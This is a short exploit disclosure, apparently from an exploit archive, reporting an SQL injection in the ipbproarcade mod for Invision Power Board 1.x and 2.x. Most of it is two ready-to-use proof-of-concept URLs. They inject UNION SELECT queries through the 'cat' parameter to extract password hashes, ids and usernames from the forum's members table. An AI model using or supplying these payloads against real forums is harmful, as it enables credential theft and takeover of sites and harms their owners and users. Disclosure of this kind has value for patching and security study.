i have found an sql injection in the popular ipbproarcade mod for ipb systems (1.x and 2.x)

the vuln exists in the "category" field.
buy using this field it is possible to inject any sql query and compemise the entire forum system

p.o.c

for ipb 1.x

http://site.com/index.php?act=Arcade&cat=-1%20UNION%20SELECT%200,0,password,id,name,0,0,0,0,0,0,0,0,0,0,0,0,0%20FROM%20ibf_members/*

for ipb 2.x

index.php?act=Arcade&cat=-1%20UNION%20SELECT%200,0,legacy_password,id,name,0,0,0,0,0,0,0,0,0,0,0,0,0%20FROM%20ibf_members/*

discovered by Axl
credit goes to HLL for Helping me write the actual exploit
greetz to CereBrums And JonJon

cheers
Axl